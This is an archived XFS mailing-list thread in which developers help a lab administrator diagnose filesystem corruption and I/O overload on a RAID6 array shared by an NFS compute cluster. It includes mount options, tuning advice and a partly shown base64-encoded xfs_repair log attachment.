xfs@oss.sgi.com X-ASG-Orig-Subj: Fwd: Fwd: Sudden File System Corruption Content-Type: multipart/alternative; boundary=001a1134b048da095704ece5d418 X-Barracuda-Connect: mail-qa0-f43.google.com[209.85.216.43] X-Barracuda-Start-Time: 1386371770 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, BSF_SC0_SA085b, BSF_SC5_SA210e, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142900 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 0.40 BSF_SC0_SA085b Custom Rule SA085b 0.00 BSF_SC5_SA210e Custom Rule SA210e --001a1134b048da095704ece5d418 Content-Type: text/plain; charset=UTF-8 ---------- Forwarded message ---------- From: Mike Dacre Date: Fri, Dec 6, 2013 at 2:14 PM Subject: Re: Fwd: Sudden File System Corruption To: stan@hardwarefreak.com On Fri, Dec 6, 2013 at 12:58 AM, Stan Hoeppner wrote: > On 12/5/2013 9:58 AM, Mike Dacre wrote: > > > On Thu, Dec 5, 2013 at 12:10 AM, Stan Hoeppner >wrote: > >> On 12/4/2013 8:55 PM, Mike Dacre wrote: > >> ... > > > > Definitely RAID6 > > > > 2. Strip size? (eg 512KB) > >> > > 64KB > > Ok, so 64*14 = 896KB stripe. This seems pretty sane for a 14 spindle > parity array and mixed workloads. > > > 4. BBU module? > >> > > Yes. iBBU, state optimal, 97% charged. > > > > 5. Is write cache enabled? > >> > >> Yes: Cahced IO and Write Back with BBU are enabled. > > I should have pointed you this this earlier: > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > > but we've got most of it already. We don't have your fstab mount > options. Please provide that. > UUID=a58bf1db-0d64-4a2d-8e03-aad78dbebcbe /science xfs defaults,inode64 1 0 On the slave nodes, I managed to reduce the demand on the disks by adding the actimeo=60 mount option. Prior to doing this I would sometimes see the disk being negatively affected by enormous numbers of getattr requests. Here is the fstab mount on the nodes: 192.168.2.1:/science /science nfs defaults,vers=3,nofail,actimeo=60,bg,hard,intr,rw 0 0 ... > > This is also attached as xfs_info.txt > > You're not aligning XFS to the RAID geometry (unless you're overriding > in fstab). No alignment is good though for small (<896KB) file > allocations but less than optimal for large streaming allocation writes. > But it isn't a factor in the problems you reported. > > Correct, I am not consciously aligning the XFS to the RAID geometry, I actually didn't know that was possible. > ... > >> Good point. These happened while trying to ls. I am not sure why I > can't > > find them in the log, they printed out to the console as 'Input/Output' > > errors, simply stating that the ls command failed. > > We look for SCSI IO errors preceding an XFS error as a causal indicator. > I didn't see that here. You could have run into the bug Ben described > earlier. I can't really speak to the console errors. > > >> With delaylog enabled, which I believe it is in RHEL/CentOS 6, a single > >> big rm shouldn't kill the disks. But with the combination of other > >> workloads it seems you may have been seeking the disks to death. > >> > > That is possible, workloads can get really high sometimes. I am not sure > > how to control that without significantly impacting performance - I want > a > > single user to be able to use 98% IO capacity sometimes... but other > times > > I want the load to be split amongst many users. > > You can't control the seeking at the disks. You can only schedule > workloads together that don't compete for seeks. And if you have one > metadata or random read/write heavy workload, with this SATA RAID6 > array, it will need exclusive access for the duration of execution, or > the portion that does all the random IO. Otherwise other workloads > running concurrently will crawl while competing for seek bandwidth. > > > Also, each user can > > execute jobs simultaneously on 23 different computers, each acessing the > > same drive via NFS. This is a great system most of the time, but > sometimes > > the workloads on the drive get really high. > > So it's a small compute cluster using NFS over Infiniband for shared > file access to a low performance RAID6 array. The IO resource sharing > is automatic. But AFAIK there's no easy way to enforce IO quotas on > users or processes, if at all. You may simply not have sufficient IO to > go around. Let's ponder that. > I have tried a few things to improve IO allocation. BetterLinux have a cgroup control suite that allow on-the-fly user-level IO adjustments, however I found them to be quite cumbersome. I considered an ugly hack in which I would run two NFS servers, one on the network to the login node, and one on the network to the other nodes, so that I could use cgroups to limit IO by process, effectively guaranteeing a 5% IO capacity window to the login node, even if the compute nodes were all going crazy. I quickly came to the conclusion that I don't know enough about filesystems, nfs, or the linux kernel to do this effectively: I would almost certainly just make an ugly mess that accomplished little more than breaking a lot of things, while not solving the problem. I still think it is a good idea in principle though, I just recognize that it would need to be implemented by someone with a lot more experience than me, and that it would probably be a major undertaking. > Looking at the math, you currently have approximately 14*150=2100 > seeks/sec capability with 14x 7.2k RPM data spindles. That's less than > 100 seeks/sec per compute node, i.e. each node is getting about 2/3rd of > the performance of a single SATA disk from this array. This simply > isn't sufficient for servicing a 23 node cluster, unless all workloads > are compute bound, and none IO/seek bound. Given the overload/crash > that brought you to our attention, I'd say some of your workloads are > obviously IO/seek bound. I'd say you probably need more/faster disks. > Or you need to identify which jobs are IO/seek heavy and schedule them > so they're not running concurrently. > Yes, this is a problem. We sadly lack the resources to do much better than this, we have recently been adding extra storage by just chaining together USB3 drives with RAID and LVM... which is cumbersome and slow, but cheaper. My current solution is to be on the alert for high IO jobs, and to move them to a specific torque queue that limits the number of concurrent jobs. This works, but I have not found a way to do it automatically. Thankfully, with a 12 member lab, it is actually not terribly complex to handle, but I would definitely prefer a more comprehensive solution. I don't doubt that the huge IO and seek demands we put on these disks will cause more problems in the future. > ... > >> > http://xfs.org/index.php/XFS_FAQ#Q:_I_want_to_tune_my_XFS_filesystems_for_.3Csomething.3E > >> > >> "As of kernel 3.2.12, the default i/o scheduler, CFQ, will defeat much > >> of the parallelization in XFS." > ... > >> echo deadline > /sys/block/sda/queue/scheduler > >> > > Wow, this is huge, I can't believe I missed that. I have switched it to > > noop now as we use write caching. I have been trying to figure out for a > > while why I would keep getting timeouts when the NFS load was high. If > you > > have any other suggestions for how I can improve performance, I would > > greatly appreciate it. > > This may not fix NFS timeouts entirely but it should help. If the NFS > operations are seeking the disks to death you may still see timeouts. > > >> This one simple command line may help pretty dramatically, immediately, > >> assuming your hardware array parameters aren't horribly wrong for your > >> workloads, and your XFS alignment correctly matches the hardware > geometry. > >> > > Great, thanks. Our workloads vary considerably as we are a biology > > research lab, sometimes we do lots of seeks, other times we are almost > > maxing out read or write speed with massively parallel processes all > > accessing the disk at the same time. > > Do you use munin or something similar? Sample output: > > http://demo.munin-monitoring.org/munin-monitoring.org/demo.munin-monitoring.org/index.html#disk > > Project page: > http://munin-monitoring.org/ I have been using Ganglia, but it doesn't have good NFS monitoring as far as I can tell. I will check out Munin, thanks for the advice. > It also has an NFS module and many others. The storage oriented metrics > may be very helpful to you. You would install munin-node on the NFS > server and all compute nodes, and munin on a collector/web server. This > will allow you to cross reference client and server NFS loads. You can > then cross reference the time in your PBS logs to see which users were > running which jobs when IO spikes occur on the NFS server. You'll know > exactly which workloads, or combination thereof, are causing IO spikes. > > -- > Stan > -Mike --001a1134b048da095704ece5d418 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable


---------- Forwarded me= ssage ----------
From: Mike Dacre <mike.dacre@gmail.= com>
Date: Fri, Dec 6, 2013 at 2:14 PM
Subject: Re: Fwd: Sudden File System C= orruption
To: stan@hardwarefre= ak.com




<= br>
On Fri, Dec 6, 2013 at 12:58 A= M, Stan Hoeppner <stan@hardwarefreak.com> wrote:
On 12/5/2013 9:58 AM, Mike Dacre wrote:

> On Thu, Dec 5, 2013 at 12:10 AM, Stan Hoeppner <stan@hardwarefreak.com>wrot= e:
>> On 12/4/2013 8:55 PM, Mike Dacre wrote:
>> ...
>
> Definitely RAID6
>
> 2. =C2=A0Strip size? =C2=A0(eg 512KB)
>>
> 64KB

Ok, so 64*14 =3D 896KB stripe. =C2=A0This seems pretty sane for a 14 = spindle
parity array and mixed workloads.

> 4. =C2=A0BBU module?
>>
> Yes. iBBU, state optimal, 97% charged.
>
> 5. =C2=A0Is write cache enabled?
>>
>> Yes: Cahced IO and Write Back with BBU are enabled.

I should have pointed you this this earlier:
http://xfs.org/index.p= hp/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F=

but we've got most of it already. =C2=A0We don't have your fstab mo= unt
options. =C2=A0Please provide that.
=C2=A0
=
UUID=3Da58bf1db-0d64-4a2d-8e03-aad78dbebcbe /science =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0xfs =C2=A0 =C2=A0 defaults,inode64 = =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A01 0=C2=A0

On the= slave nodes, I managed to reduce the demand on the disks by adding the act= imeo=3D60 mount option. =C2=A0Prior to doing this I would sometimes see the= disk being negatively affected by enormous numbers of getattr requests. = =C2=A0Here is the fstab mount on the nodes:

192.168.2.1:/science =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0= =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0/science =C2=A0 =C2=A0 =C2=A0 =C2= =A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0nfs =C2=A0 =C2=A0 defaults,vers=3D3,nofail,a= ctimeo=3D60,bg,hard,intr,rw =C2=A00 0

<= /div>
...
> This is also attached as xfs_info.txt

You're not aligning XFS to the RAID geometry (unless you're o= verriding
in fstab). =C2=A0No alignment is good though for small (<896KB) file
allocations but less than optimal for large streaming allocation writes. =C2=A0But it isn't a factor in the problems you reported.


Correct, I am not consciously al= igning the XFS to the RAID geometry, I actually didn't know that was po= ssible.
=C2=A0
...
>> Good point. =C2=A0These happened while trying to ls. =C2=A0I = am not sure why I can't
> find them in the log, they printed out to the console as 'Input/Ou= tput'
> errors, simply stating that the ls command failed.

We look for SCSI IO errors preceding an XFS error as a causal indicat= or.
=C2=A0I didn't see that here. =C2=A0You could have run into the bug Ben= described
earlier. =C2=A0I can't really speak to the console errors.

>> With delaylog enabled, which I believe it is in RHEL/CentOS 6, a s= ingle
>> big rm shouldn't kill the disks. =C2=A0But with the combinatio= n of other
>> workloads it seems you may have been seeking the disks to death. >>
> That is possible, workloads can get really high sometimes. =C2=A0I am = not sure
> how to control that without significantly impacting performance - I wa= nt a
> single user to be able to use 98% IO capacity sometimes... but other t= imes
> I want the load to be split amongst many users.

You can't control the seeking at the disks. =C2=A0You can only sc= hedule
workloads together that don't compete for seeks. =C2=A0And if you have = one
metadata or random read/write heavy workload, with this SATA RAID6
array, it will need exclusive access for the duration of execution, or
the portion that does all the random IO. =C2=A0Otherwise other workloads running concurrently will crawl while competing for seek bandwidth.

> Also, each user can
> execute jobs simultaneously on 23 different computers, each acessing t= he
> same drive via NFS. =C2=A0This is a great system most of the time, but= sometimes
> the workloads on the drive get really high.

So it's a small compute cluster using NFS over Infiniband for sha= red
file access to a low performance RAID6 array. =C2=A0The IO resource sharing=
is automatic. =C2=A0But AFAIK there's no easy way to enforce IO quotas = on
users or processes, if at all. =C2=A0You may simply not have sufficient IO = to
go around. =C2=A0Let's ponder that.

I have tried a few things to improve IO allocation. =C2=A0Bett= erLinux have a cgroup control suite that allow on-the-fly user-level IO adj= ustments, however I found them to be quite cumbersome.

I considered an ugly hack in which I would run two NFS = servers, one on the network to the login node, and one on the network to th= e other nodes, so that I could use cgroups to limit IO by process, effectiv= ely guaranteeing a 5% IO capacity window to the login node, even if the com= pute nodes were all going crazy. =C2=A0I quickly came to the conclusion tha= t I don't know enough about filesystems, nfs, or the linux kernel to do= this effectively: I would almost certainly just make an ugly mess that acc= omplished little more than breaking a lot of things, while not solving the = problem. =C2=A0I still think it is a good idea in principle though, I just = recognize that it would need to be implemented by someone with a lot more e= xperience than me, and that it would probably be a major undertaking.
=C2=A0
Looking at the math, you currently have approximately 14*150=3D2100
seeks/sec capability with 14x 7.2k RPM data spindles. =C2=A0That's less= than
100 seeks/sec per compute node, i.e. each node is getting about 2/3rd of the performance of a single SATA disk from this array. =C2=A0This simply isn't sufficient for servicing a 23 node cluster, unless all workloads<= br> are compute bound, and none IO/seek bound. =C2=A0Given the overload/crash that brought you to our attention, I'd say some of your workloads are obviously IO/seek bound. =C2=A0I'd say you probably need more/faster di= sks.
Or you need to identify which jobs are IO/seek heavy and schedule them
so they're not running concurrently.

Yes, this is a problem. =C2=A0We sadly lack the resources to do muc= h better than this, we have recently been adding extra storage by just chai= ning together USB3 drives with RAID and LVM... which is cumbersome and slow= , but cheaper.

My current solution is to be on the alert for high IO j= obs, and to move them to a specific torque queue that limits the number of = concurrent jobs. =C2=A0This works, but I have not found a way to do it auto= matically. =C2=A0Thankfully, with a 12 member lab, it is actually not terri= bly complex to handle, but I would definitely prefer a more comprehensive s= olution. =C2=A0I don't doubt that the huge IO and seek demands we put o= n these disks will cause more problems in the future.=C2=A0
I have been using Ga= nglia, but it doesn't have good NFS monitoring as far as I can tell. = =C2=A0I will check out Munin, thanks for the advice.=C2=A0
=C2=A0
It also has an NFS module and many others. =C2=A0The storage oriented metri= cs
may be very helpful to you. =C2=A0You would install munin-node on the NFS server and all compute nodes, and munin on a collector/web server. =C2=A0Th= is
will allow you to cross reference client and server NFS loads. =C2=A0You ca= n
then cross reference the time in your PBS logs to see which users were
running which jobs when IO spikes occur on the NFS server. =C2=A0You'll= know
exactly which workloads, or combination thereof, are causing IO spikes.

--
Stan

-Mike=C2=A0

<= /div>

--001a1134b048da095704ece5d418-- From mike.dacre@gmail.com Fri Dec 6 17:16:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D8D7F29E23 for ; Fri, 6 Dec 2013 17:16:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0D7DCAC008 for ; Fri, 6 Dec 2013 15:16:18 -0800 (PST) X-ASG-Debug-ID: 1386371773-04cb6c537d594480001-NocioJ Received: from mail-qa0-f41.google.com (mail-qa0-f41.google.com [209.85.216.41]) by cuda.sgi.com with ESMTP id cupuusLrgx5CpvZS (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 06 Dec 2013 15:16:14 -0800 (PST) X-Barracuda-Envelope-From: mike.dacre@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.41 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.41] Received: by mail-qa0-f41.google.com with SMTP id j5so1035767qaq.14 for ; Fri, 06 Dec 2013 15:16:13 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.41] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.41] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=DkNv8ddkM0UQoXJKDd4ik7ke6DNLFsQBdjeq9UCjBhw=; b=Nh5jhhooOrGFngrKdQYnHThDaQnhA527NrJXuMY74cf8O+RRBRPpyKnZ855XbyUrCk r+pmxUobnVYkmFD5R757l/qVymDe+FtdZmrWw2RQIO4dkvpdlI6vMz+jtfrkJw4xiSPk NKy0Oy4LUP3fuk4Qsgx7imeNiJRbKeadrqxUdN/iuKTcwFCPtBiZqUQeRN9OwH/GBLl/ FxkKVn+vgeUsv2s/V92kQtTWBziBPbWDydAaptp7cgz4NzXf90MwRnfJM9u2KXqX7TYu 9H/Kbd6uL992brUbxP4b3KvSOK73QXwHBVCvZi5bsYFuhmaR99dU8M6WXq4iv1j2JQm9 ur6g== X-Received: by 10.224.4.70 with SMTP id 6mr11105309qaq.86.1386371773792; Fri, 06 Dec 2013 15:16:13 -0800 (PST) MIME-Version: 1.0 Received: by 10.229.185.9 with HTTP; Fri, 6 Dec 2013 15:15:33 -0800 (PST) In-Reply-To: <20131206225612.GU10553@sgi.com> References: <20131205174058.GF1935@sgi.com> <20131205175053.GG1935@sgi.com> <20131206002308.GS10553@sgi.com> <20131206225612.GU10553@sgi.com> From: Mike Dacre Date: Fri, 6 Dec 2013 15:15:33 -0800 Message-ID: Subject: Re: Sudden File System Corruption To: Ben Myers X-ASG-Orig-Subj: Re: Sudden File System Corruption Cc: xfs@oss.sgi.com Content-Type: multipart/mixed; boundary=001a11c21cc81a9a5004ece5d506 X-Barracuda-Connect: mail-qa0-f41.google.com[209.85.216.41] X-Barracuda-Start-Time: 1386371774 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142900 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c21cc81a9a5004ece5d506 Content-Type: multipart/alternative; boundary=001a11c21cc81a9a4c04ece5d504 --001a11c21cc81a9a4c04ece5d504 Content-Type: text/plain; charset=UTF-8 Hey Guys, Here is the repair log from right after the corruption happened. The repair was successful. -Mike On Fri, Dec 6, 2013 at 2:56 PM, Ben Myers wrote: > Hey Mike, > > On Thu, Dec 05, 2013 at 04:40:46PM -0800, Mike Dacre wrote: > > On Thu, Dec 5, 2013 at 4:23 PM, Ben Myers wrote: > > > On Thu, Dec 05, 2013 at 04:06:27PM -0800, Mike Dacre wrote: > > > > I sent you the output of the xfs_repair command, and also the > logprint, > > > but > > > > I couldn't get a metadump as the filesystem is mounted. I can't > unmount > > > > the file system, it is too important. Sorry. > > > > > > > > The logprint is in a tar archive at > > > > ftp://shell.sgi.com/receive/mike_dacre/mike-xfs-files.tar.bz2 > > > > > > Thanks for the info. Could you clarify a couple things for me so that > I > > > know > > > what I'm looking at? > > > > > > 1) How did you create the logprint file? Was the filesystem mounted at > > > the time? > > > > > > > The filesystem was mounted, I created it with this command: `xfs_logprint > > -C xfs_logdump.txt /dev/sda1` > > Oh, ok. The logprint I'm looking for would have to be taken immediately > after > the forced shutdown. Sorry for the confusion. > > > > 2) Is the xfs_repair.log you sent the output of the very first run of > > > xfs_repair? Or, is it the output from a second incident? Was the > > > filesystem > > > mounted at the time? > > > > > > > That is from the first run of xfs_repair, after the filesystem corrupted. > > I ran it with the filesystem unmounted. > > It's great that you have this. And an interesting repair log. The good > news > is that it doesn't look like the corruption that xfs_repair doesn't fix, > the > bad news is that I don't recognise it. If you wouldn't mind posting the > repair > log to the list, I think that would help. At least it would get some more > eyes > on it. > > Thanks much, > Ben > --001a11c21cc81a9a4c04ece5d504 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable
Hey Guys,

Here is the repair log from r= ight after the corruption happened. =C2=A0The repair was successful.
<= div>
-Mike


On Fri, Dec 6, 2013 at 2:56 PM, Ben Myers <bpm@sgi.com> wrote:
=
Hey Mike,

On Thu, Dec 05, 2013 at 04:40:46PM -0800, Mike Dacre wrote:
> On Thu, Dec 5, 2013 at 4:23 PM, Ben Myers <bpm@sgi.com> wrote:
> > On Thu, Dec 05, 2013 at 04:06:27PM -0800,= Mike Dacre wrote:
> > > I sent you the output of the xfs_repair command, and also th= e logprint,
> > but
> > > I couldn't get a metadump as the filesystem is mounted. = =C2=A0I can't unmount
> > > the file system, it is too important. =C2=A0Sorry.
> > >
> > > The logprint is in a tar archive at
> > > ftp://shell.sgi.com/receive/mike_dacre/mike= -xfs-files.tar.bz2
> >
> > Thanks for the info. =C2=A0Could you clarify a couple things for = me so that I
> > know
> > what I'm looking at?
> >
> > 1) How did you create the logprint file? =C2=A0Was the filesystem= mounted at
> > the time?
> >
>
> The filesystem was mounted, I created it with this command: `xfs_logpr= int
> -C xfs_logdump.txt /dev/sda1`

Oh, ok. =C2=A0The logprint I'm looking for would have to be taken= immediately after
the forced shutdown. =C2=A0Sorry for the confusion.

> > 2) Is the xfs_repair.log you sent the output of the very first ru= n of
> > xfs_repair? =C2=A0Or, is it the output from a second incident? = =C2=A0Was the
> > filesystem
> > mounted at the time?
> >
>
> That is from the first run of xfs_repair, after the filesystem corrupt= ed.
> =C2=A0I ran it with the filesystem unmounted.

It's great that you have this. =C2=A0And an interesting repair lo= g. =C2=A0The good news
is that it doesn't look like the corruption that xfs_repair doesn't= fix, the
bad news is that I don't recognise it. =C2=A0If you wouldn't mind p= osting the repair
log to the list, I think that would help. =C2=A0At least it would get some = more eyes
on it.

Thanks much,
=C2=A0 =C2=A0 =C2=A0 =C2=A0Ben

--001a11c21cc81a9a4c04ece5d504-- --001a11c21cc81a9a5004ece5d506 Content-Type: text/x-log; charset=US-ASCII; name="xfs_repair.log" Content-Disposition: attachment; filename="xfs_repair.log" Content-Transfer-Encoding: base64 X-Attachment-Id: f_how1x8310 UGhhc2UgMSAtIGZpbmQgYW5kIHZlcmlmeSBzdXBlcmJsb2NrLi4uClBoYXNlIDIgLSB1c2luZyBp bnRlcm5hbCBsb2cKICAgICAgICAtIHplcm8gbG9nLi4uCkFMRVJUOiBUaGUgZmlsZXN5c3RlbSBo YXMgdmFsdWFibGUgbWV0YWRhdGEgY2hhbmdlcyBpbiBhIGxvZyB3aGljaCBpcyBiZWluZwpkZXN0 cm95ZWQgYmVjYXVzZSB0aGUgLUwgb3B0aW9uIHdhcyB1c2VkLgogICAgICAgIC0gc2NhbiBmaWxl c3lzdGVtIGZyZWVzcGFjZSBhbmQgaW5vZGUgbWFwcy4uLgphZ2kgdW5saW5rZWQgYnVja2V0IDAg aXMgMTE2ODAwMCBpbiBhZyAwIChpbm9kZT0xMTY4MDAwKQphZ2kgdW5saW5rZWQgYnVja2V0IDEg aXMgMTE2ODAwMSBpbiBhZyAwIChpbm9kZT0xMTY4MDAxKQphZ2kgdW5saW5rZWQgYnVja2V0IDIg aXMgMTE2ODAwMiBpbiBhZyAwIChpbm9kZT0xMTY4MDAyKQphZ2kgdW5saW5rZWQgYnVja2V0IDMg aXMgMTE2ODgzNSBpbiBhZyAwIChpbm9kZT0xMTY4ODM1KQphZ2kgdW5saW5rZWQgYnVja2V0IDQg aXMgMjY0MDM4OCBpbiBhZyAwIChpbm9kZT0yNjQwMzg4KQphZ2kgdW5saW5rZWQgYnVja2V0IDUg aXMgMjY0MDM4OSBpbiBhZyAwIChpbm9kZT0yNjQwMzg5KQphZ2kgdW5saW5rZWQgYnVja2V0IDYg aXMgNDAyMTE4IGluIGFnIDAgKGlub2RlPTQwMjExOCkKYWdpIHVubGlua2VkIGJ1Y2tldCA3IGlz IDI2NDAzOTEgaW4gYWcgMCAoaW5vZGU9MjY0MDM5MSkKYWdpIHVubGlua2VkIGJ1Y2tldCA4IGlz IDQwMjEyMCBpbiBhZyAwIChpbm9kZT00MDIxMjApCmFnaSB1bmxpbmtlZCBidWNrZXQgOSBpcyAy Mzg4ODczIGluIGFnIDAgKGlub2RlPTIzODg4NzMpCmFnaSB1bmxpbmtlZCBidWNrZXQgMTAgaXMg MjM4ODg3NCBpbiBhZyAwIChpbm9kZT0yMzg4ODc0KQphZ2kgdW5saW5rZWQgYnVja2V0IDExIGlz IDIzNzM3NzEgaW4gYWcgMCAoaW5vZGU9MjM3Mzc3MSkKYWdpIHVubGlua2VkIGJ1Y2tldCAxMiBp cyAyMzg4ODc2IGluIGFnIDAgKGlub2RlPTIzODg4NzYpCmFnaSB1bmxpbmtlZCBidWNrZXQgMTMg aXMgMjM4ODg3NyBpbiBhZyAwIChpbm9kZT0yMzg4ODc3KQphZ2kgdW5saW5rZWQgYnVja2V0IDE0 IGlzIDIzNzM3NzQgaW4gYWcgMCAoaW5vZGU9MjM3Mzc3NCkKYWdpIHVubGlua2VkIGJ1Y2tldCAx NSBpcyAyNzQ2NzY3IGluIGFnIDAgKGlub2RlPTI3NDY3NjcpCmFnaSB1bmxpbmtlZCBidWNrZXQg MTYgaXMgMjM4ODg4MCBpbiBhZyAwIChpbm9kZT0yMzg4ODgwKQphZ2kgdW5saW5rZWQgYnVja2V0 IDE3IGlzIDIzODg4ODEgaW4gYWcgMCAoaW5vZGU9MjM4ODg4MSkKYWdpIHVubGlua2VkIGJ1Y2tl dCAxOCBpcyAyMzczNzc4IGluIGFnIDAgKGlub2RlPTIzNzM3NzgpCmFnaSB1bmxpbmtlZCBidWNr ZXQgMTkgaXMgMjY0MTU1NSBpbiBhZyAwIChpbm9kZT0yNjQxNTU1KQphZ2kgdW5saW5rZWQgYnVj a2V0IDIwIGlzIDExNzI4ODQgaW4gYWcgMCAoaW5vZGU9MTE3Mjg4NCkKYWdpIHVubGlua2VkIGJ1 Y2tldCAyMSBpcyAyMzg4ODg1IGluIGFnIDAgKGlub2RlPTIzODg4ODUpCmFnaSB1bmxpbmtlZCBi dWNrZXQgMjIgaXMgNzg2NTgyIGluIGFnIDAgKGlub2RlPTc4NjU4MikKYWdpIHVubGlua2VkIGJ1 Y2tldCAyMyBpcyA3ODY1ODMgaW4gYWcgMCAoaW5vZGU9Nzg2NTgzKQphZ2kgdW5saW5rZWQgYnVj a2V0IDI0IGlzIDc4NjU4NCBpbiBhZyAwIChpbm9kZT03ODY1ODQpCmFnaSB1bmxpbmtlZCBidWNr ZXQgMjUgaXMgMjM3MzcyMSBpbiBhZyAwIChpbm9kZT0yMzczNzIxKQphZ2kgdW5saW5rZWQgYnVj a2V0IDI2IGlzIDI1MTgxMDYgaW4gYWcgMCAoaW5vZGU9MjUxODEwNikKYWdpIHVubGlua2VkIGJ1 Y2tldCAyNyBpcyAyNTE4MTA3IGluIGFnIDAgKGlub2RlPTI1MTgxMDcpCmFnaSB1bmxpbmtlZCBi dWNrZXQgMjggaXMgMjUxODEwOCBpbiBhZyAwIChpbm9kZT0yNTE4MTA4KQphZ2kgdW5saW5rZWQg YnVja2V0IDI5IGlzIDIzNzM3ODkgaW4gYWcgMCAoaW5vZGU9MjM3Mzc4OSkKYWdpIHVubGlua2Vk IGJ1Y2tldCAzMCBpcyAyNzQ2NTI2IGluIGFnIDAgKGlub2RlPTI3NDY1MjYpCmFnaSB1bmxpbmtl ZCBidWNrZXQgMzEgaXMgMjUzMTgwNyBpbiBhZyAwIChpbm9kZT0yNTMxODA3KQphZ2kgdW5saW5r ZWQgYnVja2V0IDMyIGlzIDI1MzE4MDggaW4gYWcgMCAoaW5vZGU9MjUzMTgwOCkKYWdpIHVubGlu a2VkIGJ1Y2tldCAzMyBpcyAyNTMxODA5IGluIGFnIDAgKGlub2RlPTI1MzE4MDkpCmFnaSB1bmxp bmtlZCBidWNrZXQgMzQgaXMgMjUzMTgxMCBpbiBhZyAwIChpbm9kZT0yNTMxODEwKQphZ2kgdW5s aW5rZWQgYnVja2V0IDM1IGlzIDI1MzE4MTEgaW4gYWcgMCAoaW5vZGU9MjUzMTgxMSkKYWdpIHVu bGlua2VkIGJ1Y2tldCAzNiBpcyAyNTMxODEyIGluIGFnIDAgKGlub2RlPTI1MzE4MTIpCmFnaSB1 bmxpbmtlZCBidWNrZXQgMzcgaXMgMjUzMTgxMyBpbiBhZyAwIChpbm9kZT0yNTMxODEzKQphZ2kg dW5saW5rZWQgYnVja2V0IDM4IGlzIDg2MDkwMiBpbiBhZyAwIChpbm9kZT04NjA5MDIpCmFnaSB1 bmxpbmtlZCBidWNrZXQgMzkgaXMgMjUzMTgxNSBpbiBhZyAwIChpbm9kZT0yNTMxODE1KQphZ2kg dW5saW5rZWQgYnVja2V0IDQwIGlzIDI1MzE4MTYgaW4gYWcgMCAoaW5vZGU9MjUzMTgxNikKYWdp IHVubGlua2VkIGJ1Y2tldCA0MSBpcyAyNTMxODE3IGluIGFnIDAgKGlub2RlPTI1MzE4MTcpCmFn aSB1bmxpbmtlZCBidWNrZXQgNDIgaXMgMjUzMTgxOCBpbiBhZyAwIChpbm9kZT0yNTMxODE4KQph Z2kgdW5saW5rZWQgYnVja2V0IDQzIGlzIDI1MzE4MTkgaW4gYWcgMCAoaW5vZGU9MjUzMTgxOSkK YWdpIHVubGlua2VkIGJ1Y2tldCA0NCBpcyAyNTMxODIwIGluIGFnIDAgKGlub2RlPTI1MzE4MjAp CmFnaSB1bmxpbmtlZCBidWNrZXQgNDUgaXMgMjUzMTgyMSBpbiBhZyAwIChpbm9kZT0yNTMxODIx KQphZ2kgdW5saW5rZWQgYnVja2V0IDQ2IGlzIDI1MzE4MjIgaW4gYWcgMCAoaW5vZGU9MjUzMTgy MikKYWdpIHVubGlua2VkIGJ1Y2tldCA0NyBpcyAyNTMxODIzIGluIGFnIDAgKGlub2RlPTI1MzE4 MjMpCmFnaSB1bmxpbmtlZCBidWNrZXQgNDggaXMgMjQyMjM4NCBpbiBhZyAwIChpbm9kZT0yNDIy 